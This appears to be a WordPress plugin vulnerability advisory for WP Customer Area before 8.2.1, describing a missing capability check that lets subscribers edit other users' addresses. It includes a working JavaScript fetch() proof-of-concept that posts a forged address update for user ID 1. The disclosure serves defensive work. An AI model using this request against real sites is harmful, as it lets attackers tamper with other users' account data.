WordPress Plugin Vulnerabilities
WP Customer Area < 8.2.1 - Subscriber+ Account Address Update
Description
The plugin does not properly validate users capabilities in some of its AJAX actions, allowing malicious users to edit other users' account address.
Proof of Concept
You may get the nonce from *your* save address form fetch("https://example.com/wp-admin/admin-ajax.php", { "headers": { "content-type": "application/x-www-form-urlencoded; charset=UTF-8", }, "body": 'action=cuar_save_address_for_owner&cuar_nonce=a73a7eab3b&owner[type]=usr&owner[ids][]=1&address_id=home_address&address[name]=hohohohoh', "method": "POST", "mode": "cors", "credentials": "include" }) .then((response) => { return response.text(); }) .then((data) => { console.log(data); });
